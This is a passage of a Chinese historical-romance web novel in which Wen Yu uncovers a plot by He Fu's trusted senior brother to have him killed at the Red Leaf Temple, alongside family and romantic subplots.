温余撑着脑袋,一眨不眨地看着贺扶:“原来如此啊,贺大人还真是心善。”
“只是尽我所能罢了。”贺扶带着笑。
温余忽然意识到了什么,惊讶道:“那当时的姑娘莫非就是……褚月?”
贺扶点头,“阿蓁还是很聪明。”
温余嘿嘿笑了两声,“那她说的交易就是想带启蛰回去?”
“没错,不过还是要看启蛰的意愿,能与亲人重逢,再好不过。”贺扶心中也为启蛰感到开心。
“原来是这样啊,我还以为……”温余嘟囔着,却被贺扶收入耳中。
他问:“什么?”
“没什么,就是以为您和那位褚姑娘有些……”
温余不说了,似乎也是觉得自己的想法过于孩子气。
“既然听我说完了故事,那现在可以回去休息了吗?”贺扶笑道。
温余这些日子也是累了,今日还这般用心地照顾自己,该去休息一会儿了。
温余站起身要走,但在门口迟疑了一瞬,她忽然转身,小心翼翼地问:“贺大人,您知道吃醋是一种什么感觉吗?”
这一问倒是将贺扶问懵了,“吃醋?应当是心中泛酸?”
温余似懂非懂地点了点头,“那您可有吃过醋?”
贺扶思索半刻,摇头:“未曾有过。”
温余长睫垂下,“我似乎有些……”吃醋……?
贺扶见她愣愣的模样,轻笑一声,打趣道:“莫不是阿蓁有了心悦之人,才尝到了这吃醋的滋味?”
温余只觉得心头一颤,有一种秘密被发现的慌乱感觉,她想摇头,但大脑却不让她这样做。隔了很久,她点头:“我好像,是有喜欢的人了……”
这一说,贺扶也惊讶到了,但还未来得及问温余是谁,她便提着裙摆落荒而逃,只留个贺扶一个慌乱的背影。
贺扶坐在塌上,心道温余的心上人是启蛰或是尚卿,亦或是他不认识的人,终身大事可不能怠慢。
想到最后,他竟生出个奇怪的念头。
温余的心上人该不会是……他吧?
他立刻摇头,不,不可。是谁都行,不能是他,待在他身边的危险,太多了。
55. 红叶观(一)
夜里又下了一场雨,哗哗的雨声没有打扰到温余的睡眠,反而让她睡得愈发香甜。
翌日一早,雨势渐小,到温余跟着贺扶外出时就已经变成了丝丝的细雨。
潮湿的空气,地上汪着的水坑。
温余撑开一把纸伞,脚刚刚踏在石板路上的瞬间就被染上了水渍,她没有在意,而是转头对贺扶说:“贺大人,走啦!”
贺扶正准备给掌柜结账,但掌柜却说昨日已经有人结过了,他心想是幸安昨日走时结的,也未多问,转身向温余走去。
“走吧。”
“我们现在要去哪儿?”温余撑着伞走在前面,贺扶缓步跟在几步之后,回答道:“再往前走,有一座宅子,启蛰应该就在那里。”
“啊?为何?”温余踩小水坑的动作停下。
“也是巧合,褚姑娘的人外出时遇到了晕倒的启蛰,便将他带回来了,所以这些日子他一直都住在褚姑娘的宅子里。”
温余点头:“哦,原来如此。莫非这就是命运的指引?”
贺扶轻笑道:“这么想也没错。”
二人一路往前走,温余蹦蹦跳跳地踩了许多水坑,贺扶也不阻止,只是在几步之外带笑看着,以至于到了宅子外,温余今日才换上了新衣裳就被弄脏了衣摆。
温余低头看了看,收回脚后对着贺扶一笑,后者的笑中则带着些纵容。
衣裳而已,玩得开心就好。
温余上前敲开了门,跟着小厮的指引一路来到内堂,只见一张巨大的圆桌上摆放着六七个盘子。糕点、胡饼、茶汤……
几乎琳琅满目。
而启蛰就坐在桌子旁,端着一碗瘦肉粥喝得正欢。
“哇,他在这儿过得这么好?亏我们还担心他!”温余在桌旁坐下,对着桌上的食物吞口水。
她还未曾用过早饭呢!
启蛰则是切了一声,见他不甚惊讶的样子应该是早就知道温余会来:“你担心我?谁信啊!”
见贺扶过来,他便换了副样子,将碗里的粥一饮而尽后站起身向贺扶跑去:“大人!你这些日子过得可好?可有受伤?那丫头没给您惹事吧?”
启蛰盯着贺扶左看右看,就差上手检查哪里有伤口了。
“我自然无事,先坐吧。”
两人回到桌前,三人对坐,虽然只有短短几日,但再次这样坐在一桌,竟是让温余生出些隔三秋的感觉。但对上启蛰那张带着打量的脸,她扁扁嘴。
果然是错觉吧!
“对了对了,启蛰听他们说您差点被埋在废墟底下,都怪启蛰没能更您前去。若是启蛰跟着您,绝不会让您受伤的!”对上贺扶,启蛰的声音都软了下来,听得温余浑身难受。
她开口:“喂!说得好像我没用一样!”
“你若是有用,大人怎会被埋在废墟下?”启蛰反问。
温余背都挺直了:“那房子要倒,怎样都不能避免吧?再说了,我也有帮到贺大人!”
“你帮到什么了?要我说,你就是一直给大人拖后腿!”
……
多日不见,见面第一天就开始斗嘴,贺扶及时叫停:“莫要吵了,难道忘了之前是为何走散的?”
此话一出,两人顿时安静了下来。
之前在马车上,若是两人不斗嘴也不会走散了。
启蛰看着温余,张了张嘴,仿佛在犹豫什么。
温余被盯得发毛,开口问他:“看着我做什么?”
“我……”启蛰抿抿唇,赴死般对温余道,“抱歉……”
这声抱歉说得极轻,若是温余不认真听怕是都听不到。
“什么?”温余歪头问他,带了些逗弄的心思。
启蛰闭上眼,双颊被憋的通红,他大声道:“抱歉,我不该那样说你的!你其实挺好的,我是想……”
他打了结巴,之后的话又变得轻了,“是想和你做朋友的……”
温余啊了一声,贺扶在一边笑了出来。
启蛰能这般直白地表达自己的想法也是十分不易,可喜可贺啊!
启蛰吞了吞口水,拿起筷子就往嘴里塞了一块千层糕,嘟嘟囔囔道:“吃饭。”
温余这才笑出了声,“这样不就好了嘛!”
等三人用了早饭,启蛰胡乱擦了擦嘴,兴奋道:“既然现在我们又在一起了,那等红叶灯节过了我们就一起回去,我可想上京的蜜饯了!而且新订做的剑也在工造司搁置好久了!”
温余也附和道:“对啊对啊,也不知葛巾一个人在府里会不会寂寞,我们得早点回去!”
贺扶的神色似乎有些不对,他看向温余,“阿蓁,褚姑娘稍后便过来了,你可否待我前去迎一迎?”
温余也放下筷子,应道:“好!”
看着温余欢快离去的背影,启蛰觉出些不对劲来,他小心翼翼地问:“可是启蛰说错什么了?”
贺扶收敛眉色,郑重地对上启蛰的眼:“褚姑娘可有告诉你你的身世?”
启蛰点了点头,“嗯,启蛰也未曾想到自己还有位姐姐在世上,还真是惊喜,大人您也一定也替我高兴吧?”
看着启蛰眉宇间难掩的欣喜,贺扶似乎也放松了些,既然两人相处融洽,启蛰也不排斥,那便好了。
“看样子你也很喜欢褚姑娘。看到她能得到如今的成果,我也很开心。”贺扶稍稍迂回,“我曾承诺于她,待来日再见便让你们姐弟重逢,如今既已重逢,也算是了了一段旧缘。”
启蛰没有说话,只是定定看着贺扶。
贺扶露出个笑来,“今日过后,你便留在崇安与家人一同生活吧。”
启蛰瞪大了眼睛,站起身来,“为何?!”
贺扶招手示意他坐下,但启蛰不听,他继续问道:“为何?可是启蛰做错了什么?是我一直同温余吵架让您觉得烦了?我方才已经和她和好,日后定然不会再斗嘴了,不会给您添麻烦了!”
“还是说您觉得启蛰武功不够?我会努力练习的,我可以提前一个时辰,不两个时辰,绝对尽心尽力……”
启蛰不断在脑内搜刮着自己的缺点,最后恳求似的道了一句:“有什么不好,我都可以改,求您,不要赶我走……”
贺扶垂眸,“先坐。”
“我不坐!您不要赶我走。”启蛰站得更直。
“我不是要赶你走,只是想让你留在这里和家人在一起,这么多年都没有见面,你难道就不想和家人在一起吗?”贺扶柔声,像是在哄一个闹脾气的孩子
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“我想……”启蛰的声音闷闷的,“但我更想和您在一起。”
贺扶暗暗叹了口气,站起身来走到启蛰身边,伸手帮他理了理领口,道:“你不是最听我的话了吗?留下来和家人在一起,这是命令。”
“……为何?”启蛰的声音颤抖,眼眶通红。
“这样更安全,也更自由。”贺扶解释着。
但启蛰不知道什么安全不安全,自由不自由,他只知道从小带着自己长大的大人要赶自己走。
他,不要自己了……
“我不!我就要跟着您,死也跟着您,我才不管什么安全自由,我不管!”启蛰眼泪决堤,对着贺扶哭喊着。
贺扶心下微动,但面上却不敢表现半分,启蛰是他看着长大的,如同手足一般,如今要分开,他又如何能舍得?但这是没有办法的事情,早晚都要让他离开的,此时的分别虽痛苦,但能保启蛰安全,那也算不得什么。
“我说了,这是命令。”贺扶板起脸来,“你不听吗?若是这般小事都不愿听从,那你也不必跟着我了。”
“大人!”启蛰想伸手去抓贺扶,但却又在半空收回了手。
贺扶的意思,是没有回转的余地了?可是……为何?
只是几日不见,为何就要赶自己走?
“你自己想想吧。”
贺扶转身离开时,才敢呼出一口气。
正堂内,又只剩下启蛰一人,他一动不动地站在那里,盯着地面不知在想什么,只有一滴泪划过鼻头,落在唇边。
是咸的。
“怎么……”温余正要上前去问,却被褚月伸手挡住。
“跟我走吧。”
褚月带着温余来到后院的一个凉亭之中,落座后温余才问道:“贺大人为何要让启蛰留在这里?他分明说看启蛰自己的意愿的。”
褚月今日穿了一身浅紫色的外衫,内里是雪白的锦缎,她将双臂抱在胸前,应该是明白其中的缘由。她道:“他的意思是要保护启蛰的安全。”
“安全?跟着贺大人会死不成?”温余还是觉得奇怪,“若是担心安全,那也应该是我走吧?为何会是启蛰?”
褚月盯着温余忽然笑了,“你不会认为,他没这个打算吧?”
温余一顿:“什、什么?”
“剑兰花纹的事情你应该也是知道的,他们灭绍王满门,只侥幸留了贺扶这一个,你觉得他们会罢休吗?”
褚月换了个更为舒适的动作,“这红楼只是一个开始,之后来找贺扶的人会越来越多,想杀他的人也会更多,更难对付,而且,这组织的背后很有可能就是朝廷里的人。”
“而且不保证,你们身边就有其中的卧底哦。这样一想,你们待在贺扶身边难道不危险吗?”
温余也明白了贺扶的意思,陷入了一阵沉默。
“所以,他就想着给你们每一个人寻一个安全的落处。这样,你可明白了?”
温余缓缓点了点头,原本重逢的喜悦也被一扫而空,“那他日后也会让我走?”
贺扶做的是最坏的打算,若是他反抗不了,要死,也只要他一个人死就好了,不拖累其他人。
除过他自己,他为身边的每一个人都留了退路。
56. 红叶观(二)
温余心中生出一些异样的感觉,为什么会这样呢?为什么要这么悲观呢?分明她和启蛰都愿意和他站在一起,可为何要赶走他们独自面对呢?
“诶,你不会要去劝他吧?劝不动的……”
温余不顾褚月的阻拦想要去找贺扶。她想告诉他,她、启蛰,还有很多人都愿意和他站在一起,无论有什么危险都可以一起面对。
但是她转了大半个院子,从正堂到后院都没见到贺扶的身影。
莫不是趁着空荡自己先跑了?不会吧?他应该不会一声不吭丢下自己走的,温余摇摇头甩掉这个想法。
下一瞬,她便在小池边看到了一个熟悉的身影。
已入秋,原本池塘里开满的荷花此刻也只剩下一池枯败,看着就觉得萧索,更别说池边还坐着一个一动不动的伤心人了。
温余走上前去,正要伸手拍拍启蛰的背,却在下一刻收回了手。
她将手附在唇边轻轻咳了一声,启蛰没有反应,她心中顿时生出不妙来。
不得了不得了,启蛰向来好面子,在自己面前更是要事事逞强,怎会让别人看到这般落寞的样子。而现在竟是一动不动,半分反应都没有。
看来是真的被伤到了。
温余心中暗暗叹息,坐在启蛰身边,安慰道:“你别难过了,贺大人应该也有自己的苦衷。”
她不知道该不该将真相告诉启蛰,她知道只要启蛰知道了贺扶的想法,那怕是死也要跟在贺扶身边,但若是不告诉他,也未免太过伤他的心了。
“你懂什么,大人又没有赶你走。”启蛰的声音带着哭腔。
温余诧异道:“你哭了?”
启蛰吸吸鼻子用手在脸上胡乱抹了抹,狡辩道:“没有,你看错了。”
温余松了口气,还是有些反应的。
“你说,大人为何突然不要我了?我是哪里做的不好吗?”启蛰手中的叶片已经被撕扯得不成样子。
温余顿了顿,“你没有哪里不好,只是……”
“那大人为何赶我走?”启蛰转头,但在意识到自己红肿的双眼后又很快转了回去。
温余略微思索了一下,她当然不希望启蛰走!既然都把对方当做一家人那便要站在一起,哪有让一个人硬抗一切的道理。
“你怕死吗?”温余忽然问,启蛰懵了一瞬后点头:“怕。”
温余噎了一下,又听启蛰继续说:“但要是为了大人,我就不怕了!”
“哦?为何?”
启蛰双眸闪烁:“因为大人救了我,教养我,于我而言如兄如父,我的命是他给的,虽然现在找到了我的亲人,但大人的恩我也不能不报!所以,就算是死,我也愿意跟在大人!至于褚姐姐……”
“若是真的出了事,就只能来世再报了!”
“你不需要报恩。”
贺扶不知从哪里出来,坐在池边的两人瞬间站起身看向他。
“可报恩是我的事,我想要报的……”启蛰依旧不依不饶。
贺扶负手而立,一身翠衫,身形挺拔,除过身量高了许多外竟是与初见启蛰那日无二,不过那日是相逢,这次却是要告别了。
"启蛰……"自小看着启蛰长大,贺扶若是说第二了解启蛰,那这世上可就没有第一的人了。但威胁摆在眼前,贺扶就算是有再多不舍也不得不压下。
他本想说些重话,只要能让他留在这里,就算有误会也没什么,但话要出口却是一个声调都发不出来了,“启蛰,听话吧。”
启蛰还是摇头:“我不,我就是要跟在您身边,无论如何我都要跟着您。”
两人就这样僵持了许久,谁都不愿意先松口,各有各的想法打算,温余也在一旁看了许久,纠结许久后毅然决然选择站在启蛰这边,若是如今启蛰留不下,那来日的她怕是也留不下了。
她不能让贺扶一个人去面对那些危险,她向来是一个懂得及时止损的人,但不知为何如今竟有一种热血上头的感觉,她只想陪着贺扶,无论是什么样的路,她都想和贺扶一起走。
“大人!”温余走上前站在贺扶面前,道,“你们不妨都各自想想,反正离回上京还有半个多月,这么重要的决定还是慢慢来吧。”
反正离回去还有一段时间,先拖住贺扶再慢慢劝,再不济就等回去的时候让启蛰硬跟上,反正贺扶也不能把他给丢下车!
温余心中暗暗为自己竖了大拇指,她简直是太聪明了!
启蛰还没有理解温余的意思,继续道:“让我想多久我都不会离开的!大不了我就当没遇到这个亲人!”
“……”
“……”
“……哦?”褚月恰巧从廊中走来,脸上的神情与平日无异,但启蛰却有些心虚。
本是对贺扶说得气话,却被褚月给听到了,好不容易见到了自己的弟弟,如今却不愿意认她这个姐姐了,着实有些伤人的心了。
启蛰立刻摆手:“我不是那个意思……”
可话已出口再说也没有意义了,只能希望褚月不要多在意。
褚月笑道:“温姑娘说得不错,这么大的事情还是要多考虑考虑的,还是过些日子再做决定吧。”
她侧身看向贺扶:“方才那位幸丞相派人过来了,说要接你们去红叶观,莫要让他们等急了。”
贺扶这才点头,“好,那启蛰便劳烦……多谢提醒。”
说罢,他看向温余,“走吧。”
启蛰想上前拉住贺扶,但被褚月拦住,“我要……”
话为说完,只见温余转过头来对他眨眨眼:“放心,有我。”
启蛰停了脚步,身侧的手握起,又听褚月笑道:“看来,阿弟交到了很好的朋友呢。”
启蛰沉默半晌,轻轻点了点头。
……
幸安派来的人并非是手下小厮,而是当地经常上下山送货的中年人。
一路上山,车夫不停地说着话。一会儿说这今年的枫叶要胜过去年,红得发狠,一会儿说贺扶幸运,挑了个好时候。
贺扶也很是耐心地和他聊着天,温余坐在车内看着贺扶的侧脸随着马车的晃动而动着。
车帘被车夫以“赏景”为由拉开,窗外的红枫衬得贺扶越发白皙,但此时那张惊为天人的脸上却带上了些难以言说的黯然。
一路无言,温余只听着车夫的介绍和贺扶的应声,直到马车停在山门口。
那车夫扯着马绳笑得憨厚:“幸丞相说送到这里就行了,前面一直到观门口的这段路需得走着才能赏到好景,小人便不陪二位同行了。”
贺扶点头后,那马夫便解开了缰绳拉着马儿去吃草。
“贺大人!”温余快步跟上
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了贺扶的脚步,“我……”
还未开口,贺扶便猜出了她的来意,道:“若是要劝我就不必了。”
温余改了口:“不是,我是想问您日后可也会像今日一样送我走?”
“自然。”贺扶没有丝毫隐瞒。
温余自然也早就料到了,“可是,您要送我去哪儿呢?启蛰有亲人,您总不能把我也送回扬州吧?”
一片还未红透的枫叶落下,在半空中被一只灰扑扑的小雀衔住,往远处飞去,投入一片枫红之中。
贺扶的目光跟随了那小雀片刻,缓缓道:“放你自由。”
自由……?
这个温余曾经触不可及的词语就这样郑重地被贺扶说出来,但不知为何,这次她好像不是那么想要了。
她更想要和贺扶并肩。
她是这么想的,自然也就这么说了出来,贺扶的神色有一刻的呆滞。
“可我不愿意再有人因为我受到伤害,那些人是要冲着我来的,你们本不该同我一起担惊受怕。”贺扶还在劝说着,但温余已经是铁了心。
“我和启蛰都是这样想的,我们不怕,我们愿意。”
贺扶定住了步子,不知何时两人已走过了一片枫林,前方就是红叶观的正门。贺扶转身,背后是一片云海。
对视许久,贺扶又转了回去,他淡淡道:“你们会明白的。”
温余看着贺扶快步走向红叶观,这是他第一次没有放慢步子等她跟上。
许是真的下了决心吧……
但无论如何,就算是缠,她也得缠死在贺扶身边。
温余点点头,为自己打气后跟着贺扶进入了红叶观。
许是盛会接近,观内的小道们都在忙碌地布置。
第一个和两人打招呼的是一位极伶俐的小道童,乌发被一丝不苟的束起,一张稚嫩的小脸刻意板着,不让人觉得严肃,反倒多了些可爱。
温余看着都手痒,真想在他那肉嘟嘟的小脸上揉一揉。
“二位便是远道而来的贵客吧?师父已在偏堂等候多时了,请随我来。”
说起话来也是一派哝软,温余猜测他应该是吴地之人。
贺扶笑得温和,点头示意后便跟着小道童前去。
入了偏堂,小道童退下,那带着笑意的山羊胡老道便迎了上来。
“这正堂正在布置祭天仪式,颇为杂乱,贫道只好退而求其次在这偏堂相迎,并无怠慢之意,还望贺大人海涵。”
贺扶道:“无事,祭天仪式重要些,不过几步之差,不打紧。”
老道注意到了一旁背手站着的温余,眼中闪过一丝惊喜:“这姑娘是……?”
“在下温余,是跟着贺大人前来的。”温余笑着回答。
老道捋捋胡子,笑道:“果真是与贺大人同道之人,也是生得伶俐毓秀。”
“多谢道长夸奖。”温余自然地接受。
“对了,清徽道长,不知我师父在何处?”贺扶问。
清徽立刻指引:“在贫道屋内,还请随贫道前来。”
温余正要跟上,却被贺扶叫住:“阿蓁且先在外等候,可好?”
听贺扶这么说,温余也没多问,想必此次前去是要说些有关面具人的事情,若是涉及皇室自己当然是听不得。
她点头,“那我在里等您。”
57. 红叶观(三)
温余眼看着两人离开,她正准备去观内转一圈儿认认路,但一转头便看到方才那个引两人进来的小道童正坐在堂前的台阶上,双手捧着一个什么东西小口小口吃着。
她走上前俯身,突如其来的动静把那小道童吓了一跳。
“我……”他立刻收起手里的东西,擦擦嘴后道,“小友可有事?”
“你在吃糕点啊?”温余在那一闪而过间看到了那块精致的小糕点,她一屁股在小道童身边坐下。
小道童见她已经看到了,也不藏着了,拿出手来点头。
“好吃吗?”温余笑问。
小道童又咬了一口糕点,“好吃。”
“还不知我该如何称呼小道长?”
小道童清清嗓子站起身,向温余作揖道:“小道道宁。”
“道宁小道长?”温余拍拍身侧的位置,唤他继续坐下。
“这糕点是谁给你的?”温余看了看那糕点,崇安这带以茶糕为主,道宁手中的枣花糕应当是京中的糕点。
果然,道宁回答道:“是位贵客送我的。”温余猜测许是幸安送的,那小老头是最爱逗弄小孩子的。
应当是第一次吃这样的东西,他觉得可贵,便吃得极其缓慢,以好好品尝这样的美味。
“这里有小厨房吗?”温余道。
道宁点头:“当然有!”
“那还请小道长带我前去,我给你做些新奇的食物。”
此言一出,道宁的眸子都亮了,他从怀中拿出油纸将那吃剩的枣花糕包住,小心翼翼地放在怀中后站起身,“多谢小友,不知小友如何称呼?”
温余也站起身来,“我叫温余,小道长随意称呼。”
“阿余姐姐!我们快些走吧!”
道宁十分兴奋,不顾师父师叔们教导的礼仪拉着温余的手就往内观走。
来到了小厨房,温余随意寻了些食材,打算做些崇安少见的菜色,道宁就趴在一旁的案上看着,越看眼中的光越盛。
到最后,看到温余摆上桌的三菜一汤后竟是直接蹦了几蹦抱住温余的腰,“哇,阿余姐姐你太厉害了!从今往后你就是我除过师父师叔最敬佩的人!”
温余颇为自得的笑了几声后,蹲下身和道宁平视,“拿人手短,道宁小道长可要答应我一个要求。”
道宁笑得灿烂:“阿余姐姐尽管提!”
“我想捏捏你的脸。”
从第一眼见到,温余就觉得手痒,这般圆鼓鼓肉嘟嘟的小脸,谁能控制的住?谁都控制不住吧!
道宁犹豫了一会儿后,将脸凑到温余面前,“虽然不知为何来观里的姐姐婶婶都喜欢捏我的脸,但阿余姐姐给我做了好吃的,那就让你捏吧!”
温余十分满意地将手放在道宁的脸上,揉揉捏捏后收回了手,见那张白皙干净的小脸上泛了红,她还补救似的搓了搓,“好了,吃饭吧!”
道宁也揉揉脸,有些热热的。
温余给他搬来了小凳子,道宁趴在桌边,肉乎乎的小手拿着快要赶上他小臂长的筷子夹菜,双颊被饭菜撑得鼓起,愈发可爱,温余撑着脸看着他吃,原本有些阴云的心情也舒心了不少。
但就她随意一瞥,竟在屋外看到一抹熟悉的身影,她心道不好,下意识地想躲,没想到吃着饭的道宁忽然对那身影叫道:“阿钰姐姐,这边!”
跟着幸安来此的圣阳循着声音看了过来,温余想要钻到桌子底下的动作被打断,只能对着屋外的圣阳讪笑几声。
这道宁是怎么认识圣阳的?还叫得那般亲切。
似乎是看到了温余的不适,道宁安慰道:“阿余姐姐别怕,阿钰姐姐人很好的,她还送了我糕点。”
那枣花糕竟是圣阳送的?温余十分诧异,但此时已来不及诧异了,圣阳已经负手走了进来,看到温余时,也没有惊讶,只是哼笑一声。
也是,她一直跟在贺扶身边,这次贺扶要来圣阳肯定能猜到自己也来。
温余顿时如坐针毡,但出乎意料的,圣阳没有发难,只是对着道宁道:“叫本宫何事?”
道宁拿了筷子递给圣阳:“这是阿余姐姐做的,您不是说吃不惯这里的菜吗?一起来吃吧!”
圣阳这才有了惊讶,“你做的?”
面对圣阳如炬的目光,温余点头:“是,圣阳郡主请用。”
圣阳又哼一声,“不必,只是饭菜而已,本宫还不至于落魄到用嗟来之食。”
怎么就成嗟来之食了?温余一阵无奈,“若是不愿那就算了,对了,小道宁,我还有些事便先走了,你慢慢吃,若是还想吃就来找我。”
道宁看出了两人间的不对劲,道;“好。”
温余又向正襟危坐的圣阳道了别后起身离开,但在走到屋外,屋内人无法看到她的身影后定了下来,接着她转身趴在墙边看着屋内人的情况。
似乎是觉得温余走远了,圣阳才拿起一旁的筷子,和道宁一同用餐。
“诶……”道宁似乎有些惊讶,正要开口却听圣阳道:“食不言。”
“哦……”道宁继续埋头吃饭。
温余在墙边看着,觉得有趣,看来圣阳也并非完全不近人情嘛!
她轻轻笑了一声后才转身离开,虽然不知要去做什么,先随意转转好了。
这观内布局和上京的差不多,就是多了一间真武殿,温余在前观转了一圈儿,看到观内的道士们都忙碌着,也很少有人会注意到她。
前观无事,她便逛到了后观,一方白墙黑瓦的小院子吸引了她的注意,这里应当就是被称作“小蓬莱”之地。
她顺着石子路走入其中,在一树桂花旁停了下来,正当她打算仔细瞧一瞧这开得异常漂亮的花树时却在远处的窗边栏杆处看到了一个熟悉的身影。
——谢旧!
温余一惊,心想他不是被章执带走审问,为何会出现在这里?而且看他那悠闲轻松的模样不似被关押的囚犯,反倒像是前来游玩的客人。
借着连成一片的桂花,她成功的在不惊动谢旧的情况下摸索到了窗下,接着,她又看到一个熟悉的身影,两人站在一起仿若一对至交好友般侃侃而谈。
“没想到啊,竟这么快就又见到了你。”谢旧先道。
沉沉黑衣,身姿端正,章执负手前行,站定后将手搭在栏杆之上。沉声道:“寒暄之词便不必了,接下来你打算怎么办?”
谢旧叹了口气,“没办法啊,本想着借此机会直接将贺扶杀了作罢,没想到那人也跟着来了,只能将计就计被你抓起来了,不过还好,他没有要来找我的意思。”
温余搭在墙壁上的手指有些发白
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,章执和谢旧有联系,而谢旧想要杀贺扶的行为,章执也知道?
章执,可是贺扶最为信任的师兄啊!这么能……
若是让贺扶知道了,他该怎么办?
“你要杀贺扶,幸安知道之后早晚会来找你的,贺扶会放过你,他可不一定。”章执淡淡道。
好像他所说的不是与自己自小一同长大的师弟,而是一个毫无关系的旁人。
温余只觉得浑身发寒,以贺扶对章执的感情,就算是有人告诉他,他怕是都不会相信,但事实却就是如此。
“既然这样,你下一步打算怎么办?贺扶如今就在这里,不如直接……”谢旧做了一个杀的动作,章执却摇头了,“他在,你动不得贺扶。你对他似乎有些太低估了。”
谢旧似是可惜,“可惜了,打草惊蛇还没办法斩草除根,那我们该怎么办?可不能将他放回上京,韩犹息他们可还没有成事呢。”
“此事,我自有考量,你先按兵不动,我保你安全。”章执看向远方,是一片橙黄的落日。
本就令人感叹的落日美景在山上观看更是绝色,夕阳无限好,只是近黄昏,黄昏过后,可就是无尽的黑夜了。
黑夜,便适合发生一些……刺激的事情。
“不好了不好了!”
一声叫喊传入了贺扶居住的客堂,贺扶打开门问道:“何事如此慌张?”
那是章执身边的小侍,看到贺扶后立刻迎上前,慌忙道:“犯人出逃了!”
“哪位犯人?”贺扶问。
“就是您带回来的那位,红楼主人,谢旧。”
谢旧……?
贺扶一顿后问道:“师兄不是将他关押,怎会出逃?”
那小侍面上有些心虚,“都是属下看管不力,才让嫌犯出逃……”
贺扶拍了拍他的肩,“莫要慌张,在这山上应当也逃不了多远,你且先去通报师兄,我先前去追。”
“是。”小侍退开,出了客堂小院后没有按照贺扶所说的前去通报章执,而是往南边的老律堂走去,但还未走出多远就被担心贺扶安危前来探视的温余截住。
“你要去哪儿?”温余不善道。
小侍似乎有些慌张,“嫌犯逃跑了,小的要去通报首辅大人。”
温余眯了眯眼,“首辅大人居所似乎不在这个方向吧?小蓬莱往南直接就能到首辅大人居住的客堂,你为何要略过首辅大人先来贺大人这边?现在又说,要去寻首辅大人,可是有什么谋算?”
小侍别开脸不去对上温余审视的目光:“小的……”
“贺大人去哪儿了?”温余问。
小侍向贺扶离开的方向指了指,“贺大人去追嫌犯了。”
结合白日章执与谢旧的谈话,温余不难猜出他们的计划,担心在幸安的眼皮子底下杀不了贺扶便要将他引出观,然后再动手。
温余放开那小侍的衣领正要去追,但又停了下来。
单单靠她一人的力量怕是帮不了贺扶什么,章执身边精锐颇多,既是要杀贺扶定是要派许多能人前去,她就这样没头没脑地冲上去着实有些不明智。
可惜启蛰不在,若是启蛰在她就可以叫上启蛰一起了。
思索间,一个身影出现在温余脑海中。
对了,圣阳也在……
58. 红叶观(四)
圣阳不愿意和其他人住在一块,所以观内给她安排的居所也是较为偏僻的,几乎很少有人会靠近,而且与观外之隔了一堵墙。
好在温余白日无聊时摸完了这观内以及周边的路,按照那小侍所指的方向,贺扶应该是从小蓬莱后门走的,那唯一的路线就是从后门穿过一片枫林后另一条下山的路,至少方向不会错,现在只希望贺扶动作慢一点,在她找到圣阳并说服前不要走太远吧!
不过相比于找到圣阳,说服她这件事怕是要更难。温余站在圣阳所住的小院外,似乎听到一些声音,一走进去边看到她正穿着一身白色里衣在舞枪,时而如大雁俯冲,时而似雄鹰展翅,仔细一看竟是较之前所见更为进步。
看来这段时间没有少练习。
温余鼓掌,赞道:“许久不见,圣阳郡主真是愈发厉害了。”
圣阳立刻停了枪,问道:“你是来找本宫比试的?”
温余摇头:“不是。”
圣阳又问“那你是来做什么的?”
温余答道:“是有事要请您帮忙的。”
圣阳眯了眯眼,淡淡道:“当真?”
“当真!”温余就差发誓了。
可圣阳偏偏好似要戏耍她一般,当她上前拉住圣阳的胳膊时,便将她给甩开,温余又拉,圣阳又甩开,就这样往复几次后温余直接说:“是贺大人有事需要您帮忙!”
“他需要帮忙与我何干?他不是最为信任你吗?你去啊。”圣阳果然不愿意帮忙,这也是在温余的意料之内。
“可是,算我求您,贺大人真的有事,您就跟我走一趟吧。”温余恳求道。
圣阳神色微动,但嘴上还是不屈:“他那么厉害还要我帮忙?”
“算我求您,我回上京后给您当牛做马都行,算我求您了!”温余就差给圣阳跪下了,圣阳睨了温余一眼。
“当牛做马?当真?”
温余点头:“当真!”
“好,那我就发发善心,救救他。要去哪儿?”圣阳似乎对温余俯首称臣这件事很感兴趣。
听她松口,温余也松了口气,拉着她往那条小路走去:“来这边。”
“他大晚上不休息跑这么偏作甚?”圣阳一边走一边问。
“方才有人说有嫌犯逃跑了,是首辅大人的人。”章执的事情应当还不能太早说出来,虽然温余相信圣阳与此事无关,但不免安成王府会和此事有牵连,而且若是章执知晓此事怕是也要杀人灭口,暂时不告诉圣阳也算得上一种保护吧。
“嫌犯?”圣阳思索一刻,“是那红楼的老板?哼,本宫见过他,弱不禁风的样子也能伤到贺扶?你未免有些低估你那位贺大人了。”
“不是,我曾听到他们要杀贺大人!我怕他们会有后手,所以……”温余解释着。
“杀贺扶?为何?就算是在朝野之中贺扶也没和多少人结梁子,那老板杀他的原因是什么?……现在呢,往哪儿走?”
出了观是一片枫林,夜晚凉风吹过发出沙沙的声音,不免有些令人胆寒。
温余指了指:“穿过这片枫林应该有一条小路,看那不就有脚印吗?”温余从怀中拿出火折子。由于观内这些日子在筹备灯会,外面的打扫也推后了些,反倒是帮了温余一个忙,落叶堆积出,有人走过的脚印十分明显。
“行吧,我们快点。”
两人跟随着脚印往前走,穿过林子后脚印便消失了,只余下一地纷乱的痕迹。
圣阳从温余手中夺过火折子,凑上前去看,道:“是打斗的痕迹。”
温余也在一旁的树干上发现了几道刀痕,看样子像是一种西域的弯刀。
左晋之人大多使用周正的长剑和像宁千山那般的九环刀,这里竟出现了弯刀,难道有他国之人参与?
只单单谢旧一人定然叫不来这样的人,但加上章执可就说不准了,难道章执与他国有所联系?
温余有些不敢想了,牵扯国家,那便是重罪了。
“这脚印深而有力,怕是……”圣阳随意的表情也变得凝重起来。
温余立刻上前,“树上还有弯刀的痕迹。”
圣阳一惊,“朝中无人想杀贺扶,但外邦可就不一定了……”
“为何?”温余不知圣阳为何这样说。
圣阳站起身来,往前探去,“先找贺扶,这回怕是真出事了。”
两人在附近找了许久,无论是地上或者是碎石树木都没有放过,最终温余在一块巨石旁发现了一片布料,她摸了摸正是贺扶穿的那件,而巨石旁是一个极其陡峭的山坡,一眼望去一片漆黑。
她回过头去想要叫圣阳,但是对方却先一步飞身而来,“让开!”
温余还未反应过来,自己便被圣阳扯着领子站在了离那巨石几米远的空地上,而那块巨石上正嵌着一支箭,箭羽还在晃动着。
那个位置,若是圣阳没出手,温余此刻怕是已经被利箭穿过了脑袋。
温余有些后怕,“我刚刚看到……”
“先闭嘴。”
温余听话的闭嘴,站在圣阳身后。
只见圣阳耳朵为动,将目光锁定在一棵巨大的枫树冠上,她眯了眯眼,黑夜中,黑衣人正单脚立在树冠上,黑色的衣摆随风飘动,而他的面上则是温余极为熟悉的猞猁面具。
又是他!
“是他!”温余叫到,“上次在湖州遇到的就是他!”
